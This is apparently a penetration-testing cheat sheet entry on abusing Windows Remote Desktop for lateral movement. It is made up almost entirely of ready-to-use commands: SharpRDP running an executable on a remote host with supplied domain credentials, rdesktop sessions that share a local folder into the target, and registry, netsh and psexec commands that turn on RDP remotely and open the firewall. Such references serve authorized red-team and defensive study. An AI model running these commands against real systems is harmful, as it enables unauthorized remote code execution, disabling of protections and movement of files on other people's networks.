RDP Remote Desktop Protocol

Abuse RDP protocol to execute commands remotely with SharpRDP

SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password

Or connect remotely with rdesktop

rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare
rdesktop -u username -p password -g 70 -r disk:share=/tmp/myshare 10.10.10.10
# -g : the screen will take up 70% of your actual screen size
# -r disk:share : sharing a local folder during a remote desktop session

Note: you may need to enable it with the following command

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable

or with psexec(sysinternals)

psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
